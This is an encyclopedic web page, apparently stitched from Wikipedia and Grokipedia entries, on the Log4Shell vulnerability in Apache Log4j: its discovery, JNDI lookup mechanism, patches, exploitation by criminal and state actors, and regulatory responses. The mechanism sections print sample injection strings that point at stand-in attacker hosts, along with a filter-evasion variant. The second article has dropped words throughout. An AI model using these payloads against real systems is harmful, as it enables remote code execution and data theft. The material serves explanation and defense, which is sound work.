Hubbry Logo
Log4ShellLog4ShellMain
Open search
Log4Shell
Community hub
Log4Shell
logo
7 pages, 0 posts
0 subscribers
Be the first to start a discussion here.
Be the first to start a discussion here.
Contribute something
Log4Shell
Log4Shell
Log4Shell
View on Wikipedia
from Wikipedia

Log4Shell
CVE identifierCVE-2021-44228
Date discovered24 November 2021; 3 years ago (2021-11-24)
Date patched9 December 2021; 3 years ago (2021-12-09)
DiscovererChen Zhaojun of the Alibaba Cloud Security Team[1]
Affected softwareApplications logging user input using Log4j 2

Log4Shell (CVE-2021-44228) is a zero-day vulnerability reported in November 2021 in Log4j, a popular Java logging framework, involving arbitrary code execution.[2][3] The vulnerability had existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation, of which Log4j is a project, by Chen Zhaojun of Alibaba Cloud's security team on 24 November 2021.[4]

Before an official CVE identifier was made available on 10 December 2021, the vulnerability circulated with the name "Log4Shell", given by Free Wortley of the LunaSec team, which was initially used to track the issue online.[2][1][5][6][7] Apache gave Log4Shell a CVSS severity rating of 10, the highest available score.[8] The exploit was simple to execute and is estimated to have had the potential to affect hundreds of millions of devices.[7][9]

The vulnerability takes advantage of Log4j allowing requests to arbitrary LDAP and JNDI servers,[2][10][11] allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information.[6] A list of affected software projects has been published by the Apache Security Team.[12] Affected commercial services include Amazon Web Services,[13] Cloudflare, iCloud,[14] Minecraft: Java Edition,[15] Steam, Tencent QQ and many others.[10][16][17] According to Wiz and EY, the vulnerability affected 93% of enterprise cloud environments.[18]

The vulnerability's disclosure received strong reactions from cybersecurity experts. Cybersecurity company Tenable said the exploit was "the single biggest, most critical vulnerability ever,"[19] Ars Technica called it "arguably the most severe vulnerability ever"[20] and The Washington Post said that descriptions by security professionals "border on the apocalyptic."[9]

Background

[edit]
Main article: Log4j

Log4j is an open-source logging framework that allows software developers to log data within their applications, and can include user input.[21] It is used ubiquitously in Java applications, especially enterprise software.[6] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation.[22] Tom Kellermann, a member of President Obama's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".[23]

Behavior

[edit]

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can use several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[24] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[25]

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[25] For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[26] Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[25] Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server.[27][28] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[29][30]

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[31] Such basic string matching solutions can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[32] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[25]

Mitigation

[edit]

Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[33][34][35] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[36][37] Two more vulnerabilities in the library were found: a denial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1.[38][39] For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[8][36] An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in certain cases.[8][36]

Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[2][27][40][41] Several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages.[42]

Where applying updated versions has not been possible, due to a variety of constraints such as lack of resources or third-party managed solutions, filtering outbound network traffic from vulnerable deployments has been the primary recourse for many.[43] The approach is recommended by NCC Group[44] and the National Cyber Security Centre (United Kingdom),[45] and is an example of a defense in depth measure. The effectiveness of such filtering is evidenced[46] by laboratory experiments conducted with firewalls capable of intercepting the egress traffic with several wholly or partially vulnerable versions of the library itself and the JRE.

Usage

[edit]

The exploit allows hackers to gain control of vulnerable devices using Java.[7] Some hackers employ the vulnerability to use victims' devices for cryptocurrency mining, creating botnets, sending spam, establishing backdoors and other illegal activities such as ransomware attacks.[7][9][47] In the days following the vulnerability's disclosure, Check Point observed millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with attempted attacks on over 40% of business networks internationally.[7][23]

According to Cloudflare CEO Matthew Prince, evidence of exploitation or of scanning for the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[48] According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[49] Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai and Tsunami.[7][48][50] Ransomware group Conti was observed using the vulnerability on 17 December.[9]

Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, but it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability.[9][19] Check Point said that on 15 December 2021, Iran-backed hackers attempted to infiltrate the networks of Israeli businesses and government institutions.[9]

Response and impact

[edit]

Governmental

[edit]

In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, described the exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates.[7][51][47] Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities.[9] On 4 January, the Federal Trade Commission (FTC) stated its intent to pursue companies that fail to take reasonable steps to update used Log4j software.[52] In a White House meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified. While some open-source projects have many eyes on them, others do not have many or any people ensuring their security.[53][54]

Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[55][56] The Netherlands's National Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications.[57][58]

The Canadian Centre for Cyber Security (CCCS) called on organizations to take immediate action.[59] The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4,000 of its websites as a "preventative measure."[60] The Belgian Ministry of Defence experienced a breach attempt and was forced to shut down part of its network.[61]

The Chinese Ministry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report the vulnerability to the government first.[62]

Businesses

[edit]

Research conducted by Wiz and EY[18] showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the Internet and prone to wide exploitation attempts. According to the research, ten days after vulnerability disclosure (20 December 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data was affected by Log4Shell.[9] Microsoft asked Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j 'Log4Shell' flaw through December 2021.[63]

The human resource management and workforce management company UKG, one of the largest businesses in the industry, was targeted by a ransomware attack that affected large businesses.[20][64] UKG said it did not have evidence of Log4Shell being exploited in the incident, though analyst Allan Liska from cybersecurity company Recorded Future said there was possibly a connection.[64]

As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets.[47]

Privacy

[edit]

Some personal devices connected to the Internet, such as smart TVs and security cameras, were vulnerable to the exploit. Some software may never get a patch due to discontinued manufacturer support.[9]

Analysis

[edit]

As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[65] Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[66] Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread[67] and by external security researchers.[68]

Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability ... lives up to the hype for a host of reasons".[19] The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled".[19] Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then selling a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data.[19]

Amit Yoran, CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior".[19] Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."[19]

According to a Bloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad classes of software, including Log4j, were made at a 2016 cybersecurity conference.[69]

References

[edit]
[edit]
Revisions and contributorsEdit on WikipediaRead on Wikipedia

Log4Shell

View on Grokipedia
from Grokipedia
Log4Shell, formally identified as CVE-2021-44228, is a remote code execution vulnerability in the Apache 2 Java logging library, enabling attackers to inject specially crafted log messages that trigger lookups from malicious remote servers via the Java Naming and Directory Interface (JNDI), thereby loading and executing arbitrary code on vulnerable systems. The flaw affects versions from 2.0-beta9 to 2.14.1, which incorporate message lookup substitution by default, allowing exploitation without authentication when an attacker controls input to logging functions. Discovered in late November 2021 and publicly detailed in early December, Log4Shell was assigned the highest possible severity score of 10.0 under the CVSS v3.1 metric due to its trivial exploitability, broad , and potential for complete system compromise. responded swiftly with patches, initially in 2.15.0 on December 6, 2021, followed by refinements in subsequent releases up to 2.17.0 to address related flaws like CVE-2021-45046 and CVE-2021-45105. The vulnerability's scope amplified its threat, as underpins countless Java applications across , cloud infrastructure, and , resulting in exploitation attempts starting around December 1, 2021, and prompting emergency directives from agencies including CISA for federal systems. Mitigations emphasized upgrading to patched versions, disabling JNDI lookups, and scanning for vulnerable instances, though incomplete adoption highlighted persistent challenges in open-source dependency management.

Discovery and Historical Context

Initial Detection and Disclosure

The Log4Shell vulnerability, designated CVE-2021-44228, was first identified by Chen Zhaojun, a security researcher at Alibaba Cloud's security team, who privately reported it to the Apache Software Foundation on November 24, 2021. This initial detection stemmed from observations of anomalous server behavior traced to Log4j's JNDI lookup mechanism, though Apache initially assessed the risk as moderate during early triage. Public disclosure occurred on December 9, 2021, when proof-of-concept exploit code was shared online, prompting widespread awareness and immediate scrutiny of Log4j deployments. The vulnerability received its official CVE identifier, CVE-2021-44228, from on December 10, 2021, reflecting the rapid escalation from private report to global alert. In the ensuing days, released version 2.15.0 on December 6, 2021, as an initial patch, but this fix proved incomplete, leading to the disclosure of related CVE-2021-45046 on December 14, 2021, which addressed denial-of-service and other non-default configuration risks in the . These sequential revelations highlighted the challenges in fully remediating the core flaws amid ongoing analysis.

Development of Log4j and Preceding Risks

Apache originated as an open-source logging framework for Java applications, with its first version released in January 1999 by Ceki Gülcü under the Apache Software Foundation. Log4j 1.x became a due to its configurable levels, appenders for output destinations, and layout options for message formatting, addressing the limitations of Java's built-in which lacked flexibility and performance. By the early , demands for better multithreading support and efficiency prompted the development of Log4j 2, a complete rewrite that introduced asynchronous to reduce latency in high-throughput environments. Log4j 2.0-beta9, released on July 18, 2013, marked a significant evolution by incorporating plugin-based , including initial support for the Java Naming and Directory Interface (JNDI) in lookup mechanisms. This allowed logging configurations to dynamically resolve variables from external directories or LDAP servers, enhancing modularity for enterprise deployments but introducing unmitigated risks from unsanitized lookups. The full stable release of Log4j 2.0 occurred in August 2014, followed by general availability of version 2.0 in July 2015, with ongoing enhancements focusing on garbage collection efficiency and integration with Java 8 features like expressions. The library's ubiquity in Java ecosystems stemmed from its superior performance—up to 18 times faster than Log4j 1.x in benchmarks—and extensibility, making it integral to frameworks such as Apache Struts, , and Hadoop. Developers favored it for tunable verbosity, support for structured logging formats like , and seamless embedding in Maven or builds, leading to its inclusion in countless server-side applications by the mid-2010s. Preceding risks in libraries, including , primarily involved denial-of-service via excessive log volume or configuration errors, but overlooked the amplification potential of dynamic features like JNDI, which assumed trusted environments and did not enforce input validation for remote interactions. Earlier CVEs in Log4j 1.x, such as integer overflows in pattern parsing (CVE-2010-1624), highlighted parsing flaws but never escalated to remote code execution at scale, as was not designed for adversarial input processing.

Technical Mechanism

Core Vulnerability Behavior

The core vulnerability in Log4Shell, CVE-2021-44228, originates in Log4j's message lookup substitution mechanism, which processes placeholders within log messages or parameters to dynamically resolve values during . Log4j employs the MessageLookup class to handle these substitutions for patterns like ${key:...}, supporting various lookup types including the Java Naming and Directory Interface (JNDI) by default. This feature allows resolution of external resources via protocols such as LDAP or RMI, but in vulnerable configurations, it performs lookups without validating the source or requiring authentication, enabling remote resource fetching from arbitrary endpoints. When untrusted input containing a crafted JNDI placeholder—such as ${jndi:ldap://remote-server/object}—is incorporated into a log , Log4j's substitution engine triggers a JNDI query to the specified remote server during . The attacker-controlled server can respond with a malicious object or serialized , which the JNDI provider then deserializes and executes in the context of the logging application's (JVM), resulting in arbitrary code execution. This bypasses standard input sanitization because logging typically assumes post-processing safety, treating the input as inert text rather than executable directives. Exacerbating the issue is the recursive substitution capability, where resolved lookup values can embed further placeholders, allowing nested evaluations without depth limits in default settings. This recursive behavior, combined with JNDI's lack of inherent protections against adversary-controlled lookups in Log4j's implementation, transforms a legitimate configuration flexibility into a vector for unauthenticated remote code loading and execution directly within the application's process.

JNDI Lookup Exploitation

The JNDI lookup exploitation in Log4j 2 relies on the library's message substitution mechanism, which recursively evaluates embedded lookup strings during logging. When an application logs untrusted input containing a specially crafted string, such as ${jndi:ldap://attacker-controlled-server.com/malicious}, Log4j's JndiLookup class processes the ${jndi:...} pattern by invoking Java's Naming and Directory Interface (JNDI) to perform a remote lookup against the specified provider URL. This initiates a network request to the attacker's infrastructure, where the server responds with a serialized Java object, often a Reference instance configured to reference a malicious class or invoke a gadget chain upon instantiation. Upon receiving the response, deserializes the object using JNDI's NamingManager.getObjectInstance() method, which triggers the execution of the referenced code through dynamic class loading or factory callbacks, resulting in remote code execution (RCE) on the victim host. This process exploits JNDI's lack of inherent restrictions on remote code retrieval, allowing attackers to host payloads on LDAP, RMI, or other supported protocol servers without authentication. Variants of the attack leverage alternative JNDI protocols beyond LDAP, such as RMI for direct object references or IIOP for CORBA interoperability, enabling payload delivery in environments blocking LDAP traffic. Attackers may also chain exploits with Java deserialization gadgets, where the returned Reference object uses a custom to instantiate vulnerable classes from libraries like Collections, amplifying code execution depth. For , DNS-based lookups like ${jndi:dns://attacker.com/probe} can confirm vulnerability without RCE, as they trigger resolvable queries revealing live targets. The vulnerability stems from Log4j's foundational assumption that lookup inputs derive from trusted, internal contexts, overlooking the causal risks in networked applications where external data routinely enters logging pipelines without sanitization. JNDI's permissive design, intended for service discovery in controlled environments, did not enforce remote lookup safeguards, enabling adversary-controlled servers to supply executable content unchecked. This misalignment between logging's diagnostic intent and JNDI's remote invocation capabilities exposed systems to supply-chain-like attacks via unvalidated message patterns.

Affected Versions and Variants

The core Log4Shell vulnerability, designated CVE-2021-44228, affects Apache versions from 2.0-beta9 through 2.14.1, enabling remote code execution via malicious JNDI lookups in log messages. Version 2.15.0, released on December 6, 2021, introduced partial mitigations by disabling JNDI by default and restricting lookups to the message context, but these measures proved incomplete against certain exploitation variants, particularly in non-default configurations allowing external lookups. Follow-on vulnerabilities emerged as refinements to the initial patches. CVE-2021-45046, disclosed on December 14, 2021, involves denial-of-service escalation through thread-context lookups and affects versions 2.0-beta9 through 2.15.0, even after the CVE-2021-44228 mitigation attempt. Subsequently, CVE-2021-45105, identified on December 18, 2021, permits denial-of-service via infinite in self-referential lookups and impacts versions from 2.0-alpha1 through 2.16.0 (excluding 2.12.3, which lacks the vulnerable pattern). These related flaws, while not enabling like the original, highlight cascading risks in the lookup mechanism and underscore the need to differentiate core remote code execution from auxiliary denial-of-service vectors in assessments.
CVE IDDescriptionAffected VersionsFixed Version
CVE-2021-44228Remote code execution via JNDI2.0-beta9 to 2.14.12.15.0 (partial)
CVE-2021-45046DoS via thread-context lookups2.0-beta9 to 2.15.02.16.0
CVE-2021-45105 via infinite 2.0-alpha1 to 2.16.0 (excl. 2.12.3)2.17.0
versions prior to 2.0-beta9 and after 2.17.0 remain unaffected by these specific issues, though comprehensive auditing of dependencies is required due to the library's widespread embedding in applications.

Scope of Exposure

Prevalence in Software Ecosystems

Apache Log4j has been a foundational logging library in the Java ecosystem since 1999, serving as the default or integrated mechanism in numerous frameworks and enterprise applications, including Struts, , , Kafka, Druid, and Flink. Its ubiquity arises from transitive dependencies in software supply chains, where it is bundled indirectly through higher-level libraries, embedding it in billions of lines of code across Java-based systems without explicit developer awareness. In Maven Central, the primary repository for artifacts, over 17,000 packages—approximately 4% of the total—depended on vulnerable versions as of December 2021, with only about 3,500 featuring direct inclusion and the majority (over 13,500) relying on transitive chains often deeper than five levels. This structure exacerbates risks, as dependency graphs obscure 's presence in non-obvious products like cloud services, IoT devices, and , hindering automated scanning and manual audits. Nearly 7,000 open-source projects explicitly used as a dependency, underscoring its entrenchment beyond direct logging needs. Pre-patch analyses revealed extensive exposure, with estimates of hundreds of millions of potentially affected devices worldwide and up to 93% of enterprise cloud environments vulnerable due to Log4j's integration in workloads spanning virtual machines, containers, and serverless functions. Such prevalence highlights systemic challenges in open-source dependency management, where libraries like propagate unchecked across ecosystems.

Notable Affected Applications and Services

Java Edition servers incorporated vulnerable versions of for logging player interactions and events, enabling remote code execution attempts via crafted usernames during connection attempts. Mojang confirmed the exposure on December 10, 2021, following the public disclosure of CVE-2021-44228. Apple backend services relied on affected components, rendering email and other server-side functionalities susceptible to exploitation as identified by security scanning tools and researcher probes in early December 2021. (AWS) services, including and certain containerized applications, embedded dependencies that triggered widespread internal scans and hot-patching efforts upon vulnerability revelation. IBM enterprise products such as , tools, and Application Performance Management suites utilized , exposing them to the flaw and prompting product-specific investigations starting December 2021. products including SE, Fusion Middleware, and database components integrated vulnerable libraries, as detailed in official security alerts issued to address remote code execution risks without authentication.

Exploitation Patterns

Proof-of-Concept and Early Attacks

A proof-of-concept exploit for CVE-2021-44228, dubbed Log4Shell, was publicly released on on December 9, 2021, demonstrating remote code execution via malicious JNDI lookups in vulnerable Log4j instances. This rapid weaponization triggered widespread internet scanning for vulnerable systems starting as early as December 9, with mass exploitation attempts surging by December 10 from diverse IP addresses probing for usage. Honeypot deployments captured a peak in exploit attempts during mid-December 2021, including payloads delivering via LDAP or RMI callbacks, though many failed due to incomplete exploitation chains or rapid vendor patching. Opportunistic actors adapted existing tools quickly; for instance, a Mirai variant incorporating Log4Shell for propagation emerged by December 20, 2021, targeting exposed applications to expand infected hosts. Nation-state actors, including Chinese group APT41, initiated probes within hours of disclosure, scanning and attempting compromises against government and targets, yet initial footholds remained limited as organizations deployed patches and workarounds at unprecedented speed following the advisory. This swift response constrained early attack success, with most attempts resulting in rather than persistent access.

State-Sponsored and Criminal Exploitation

State-sponsored actors linked to exploited Log4Shell (CVE-2021-44228) to target U.S. federal systems, including a breach of a federal civilian executive branch agency where Iranian hackers deployed cryptocurrency miners following initial access via the vulnerability. Iranian (APT) groups, such as those affiliated with the , conducted reconnaissance and exploitation attempts on publicly exposed applications to facilitate and persistence, often in pursuit of against Israeli and U.S. targets. Similarly, Chinese state-affiliated actors leveraged the vulnerability for initial access in campaigns, with intelligence observations confirming exploitation attempts shortly after disclosure on December 9, 2021. Criminal actors, including ransomware operators, integrated Log4Shell into their toolkits for opportunistic initial access, scanning vulnerable servers to deploy payloads such as Strike beacons for command-and-control and lateral movement. These groups prioritized high-value targets like enterprise applications, using the exploit to facilitate deployment, though attribution to specific ransomware families like Conti or LockBit remains indirect through shared in underground forums. Cryptocurrency miners were also observed as secondary payloads in criminal exploit chains, particularly in unpatched environments, enabling profit-driven resource hijacking post-compromise. Despite widespread scanning—exceeding billions of attempts globally in the weeks following disclosure—successful exploitations by both state and criminal actors post-patching remained empirically low, attributed to rapid vendor updates, , and endpoint detection limiting payload execution rates to under 1% of probes in monitored environments. This contrasts with initial hype around catastrophic potential, as intelligence reports from firms like and noted that defensive measures disrupted most chains, with confirmed intrusions confined to a fraction of exposed assets.

Persistent Vulnerabilities Post-Patch

As of December 2024, approximately 12% of applications continue to run vulnerable versions of the library, exposing them to Log4Shell exploitation, according to analysis by Contrast Security. Similarly, Sonatype reported that 13% of active installations and downloads in 2024 involved known vulnerable versions, despite fixes being available for over 94% of such components. These figures reflect scans of production environments and open-source repositories, highlighting the incomplete remediation three years after disclosure. The persistence stems primarily from legacy enterprise applications where is deeply embedded across multilayered dependencies, complicating identification and upgrades without risking operational disruptions. Critical vulnerabilities like Log4Shell have taken over 500 days on average to remediate in many cases, with 80% of application dependencies remaining un-updated for more than a year, even when patches exist. Limited visibility exacerbates this, as uneven adoption of software bills of materials (SBOMs)—with nearly half of organizations falling behind on implementation—hampers tracking of transitive dependencies and hidden components. Exploitation attempts against unpatched instances continued into 2024 and early 2025, including opportunistic campaigns using obfuscated LDAP requests for and persistence, as well as over 4,000 probes per application detected in November 2024. The U.S. (CISA) listed Log4Shell among the top 15 most exploited vulnerabilities of 2023, with ongoing scans by threat actors targeting exposed services. However, the severity of successful breaches has diminished in modern environments due to layered defenses, such as and web application firewalls, which block JNDI lookups even in vulnerable setups.

Mitigation Strategies

Official Patches and Updates

released Log4j version 2.15.0 on December 9, 2021, as the initial patch for CVE-2021-44228, which implemented a default denial of JNDI lookups in log messages to mitigate remote code execution via LDAP and similar protocols. However, this fix had limitations, as it did not fully block JNDI lookups in certain contexts like message lookups or threaded contexts, allowing potential exploitation through non-LDAP protocols such as RMI or DNS. In response to newly identified issues in 2.15.0 (CVE-2021-45046), issued 2.16.0 on December 14, 2021, expanding protections by blocking all JNDI lookups by default regardless of context and removing the JndiLookup class from the default . This version addressed denial-of-service risks and further variants but still required full upgrades for comprehensive , as configuration-based allowances could reintroduce vulnerabilities if not strictly managed. Subsequent releases, including Log4j 2.17.0 on December 17, 2021, provided additional hardening against related denial-of-service flaws (CVE-2021-45105) via recursive lookup protections and were deemed sufficient to resolve the core issues for 8 and later environments. For legacy versions, parallel branches like 2.12.3 (January 2022) and later offered equivalent fixes. emphasized upgrading to the latest versions over temporary configuration changes, noting that partial mitigations like setting log4j2.formatMsgNoLookups=true were unreliable against sophisticated attacks and did not address all exploitation vectors. Follow-up patches, such as 2.17.1 (December 28, 2021) for CVE-2021-44832 and ongoing releases through 2022, ensured coverage of variant exploits involving serialized data or custom configurations, with verification recommended via CVE databases and official changelogs. Affected users were advised to scan dependencies using tools like Maven or to confirm upgrades, as incomplete patching left systems exposed to persistent threats despite early fixes.

Temporary Workarounds

One primary temporary workaround involves configuring 2 to disable JNDI lookups within log message formatting by setting the system property log4j2.formatMsgNoLookups=true, which can be applied via JVM startup flags such as -Dlog4j2.formatMsgNoLookups=true or the LOG4J_FORMAT_MSG_NO_LOOKUPS=true. This prevents the exploitation vector where attacker-controlled input in log messages triggers remote JNDI lookups leading to remote code execution, as observed in CVE-2021-44228. Effectiveness relies on the property propagating to all affected instances in the application , particularly for versions 2.0 through 2.14.1, though it does not address non-message-based lookups or subsequent variants like CVE-2021-45046. At the network level, organizations implemented firewall rules to block outbound connections from affected servers to common JNDI protocols such as LDAP (ports 389/636), RMI (ports 1099/1098), and DNS, thereby interrupting the retrieval phase of attacks even if initial lookups occur. This approach provided empirical containment in environments where application restarts were infeasible, as evidenced by reduced exploit success rates in scanned infrastructures during the vulnerability's peak disclosure period in December 2021. These measures entail trade-offs, including potential minor performance degradation from disabled message lookup optimizations—though quantified impacts were generally negligible in benchmarks—and incomplete coverage against bypass techniques or Log4j configurations bypassing the flag, necessitating complementary monitoring for anomalous outbound traffic. They served as stopgap defenses for legacy or unpatchable systems but deferred full remediation risks to patching.

Dependency Management Practices

Software dependency management practices emphasize achieving comprehensive visibility into third-party components, including transitive dependencies, to preempt vulnerabilities akin to Log4Shell (CVE-2021-44228), which often propagated indirectly through libraries like Apache Log4j. Transitive dependencies, pulled in automatically by direct ones, amplified Log4Shell's reach, underscoring the need for explicit controls rather than relying on default resolution mechanisms. A foundational practice is adopting a Software (SBOM), an inventory listing all software components, their versions, and relationships, which enables organizations to map and assess risks from embedded libraries like without manual auditing. SBOMs facilitate quicker during vulnerability disclosures by highlighting affected elements in complex supply chains. Automated scanning tools, such as Dependency-Check, integrate into build processes to detect known vulnerabilities by cross-referencing dependencies against databases like the (NVD). This tool proved effective in identifying exposures during the incident, generating reports on common platform enumeration (CPE) matches for CVEs. To counter transitive risks, version pinning declares exact dependency versions in manifests (e.g., via Maven's <version> tags or 's constraints), preventing automatic upgrades to unvetted releases that might introduce flaws. For Log4j cases, pinning overrides vulnerable transitive pulls, as seen in configurations enforcing safe versions across the . Incorporating these into / (CI/CD) pipelines ensures routine scans and updates, with tools enforcing policy checks before deployment. Post-Log4Shell evaluations highlight that mature (SCA) implementations correlate with faster vulnerability detection and fewer persistent exposures in production environments.

Organizational and Governmental Responses

Vendor and Developer Remediation

Following the public disclosure of the Log4Shell vulnerability (CVE-2021-44228) on December 9, 2021, major cloud vendors rapidly issued alerts to their customers. AWS published its initial bulletin on December 10, 2021, at 7:20 PM PDT, detailing affected services such as Amazon EC2 and providing guidance. followed on December 11, 2021, with comprehensive guidance on prevention, detection, and hunting for exploitation in its products and services. These timely notifications enabled enterprise developers to initiate scanning and patching workflows, often integrating automated tools for dependency analysis in environments. Open-source maintainers and developers coordinated remediation through informal channels, including extensive use of platforms for sharing detection scripts, workaround configurations, and upgrade paths. The released the initial patch as version 2.15.0 on December 10, 2021, with subsequent updates addressing related flaws. This cooperation, as assessed in the Cyber Safety Review Board's July 2022 report, demonstrated high levels of information-sharing that minimized widespread chaos despite the vulnerability's pervasiveness in supply chains. Developers encountered significant hurdles in applying patches to legacy systems, where binary compatibility concerns often delayed upgrades. Updating from vulnerable versions (e.g., 2.0-beta9 to 2.14.1) to 2.15.0 or later risked breaking existing applications due to changes in library behavior or dependencies, particularly in environments with unmaintained third-party integrations or older runtimes. Such issues necessitated extensive testing and, in some cases, custom recompilation, prolonging exposure in stacks reliant on outdated codebases.

Regulatory and Advisory Actions

The U.S. (CISA) issued a joint cybersecurity advisory on December 22, 2021, titled "Mitigating Log4Shell and Other Log4j-Related Vulnerabilities," urging organizations to identify affected instances, apply patches or workarounds, and initiate incident response for exploitation attempts. Earlier, on December 17, 2021, CISA released Directive 22-02, mandating federal executive branch agencies to mitigate the vulnerability by December 24, 2021, including scanning networks and applying mitigations, while adding CVE-2021-44228 to its Known Exploited Vulnerabilities Catalog to prioritize remediation. On January 4, 2022, the (FTC) warned businesses relying on to promptly remediate the flaw, stating that failure to take reasonable security measures could invite FTC enforcement actions under Section 5 of the FTC Act if it leads to consumer harm, though the guidance emphasized voluntary patching over immediate regulatory overreach. Internationally, the UK's National Cyber Security Centre (NCSC) issued an alert on Apache Log4j vulnerabilities shortly after disclosure, recommending organizations prioritize scanning for vulnerable versions, applying updates to 2.17.0 or later, and implementing network-level blocks on JNDI lookups as interim measures, with a focus on voluntary best practices rather than binding mandates. Similar guidance emerged from partners like Canada's Centre for Cyber Security, which aligned with the U.S. joint advisory to promote asset inventorying and without imposing sector-specific regulations. These efforts highlighted a coordinated, advisory approach emphasizing shared and self-remediation across borders. Despite widespread issuance of these alerts and reported high initial compliance among alerted entities, such as federal agencies meeting CISA deadlines, exploitation persisted into 2023 and beyond, with security firm Contrast Security finding that 12% of scanned applications remained vulnerable to flaws as of late 2024, and reporting as a top that year. This outcome underscores the limitations of regulatory advisories in achieving comprehensive security gains, as voluntary measures yielded surface-level cooperation but failed to eliminate unpatched systems in complex supply chains, where dependency scanning and enforcement gaps allowed vulnerabilities to linger.

Business Sector Disruptions

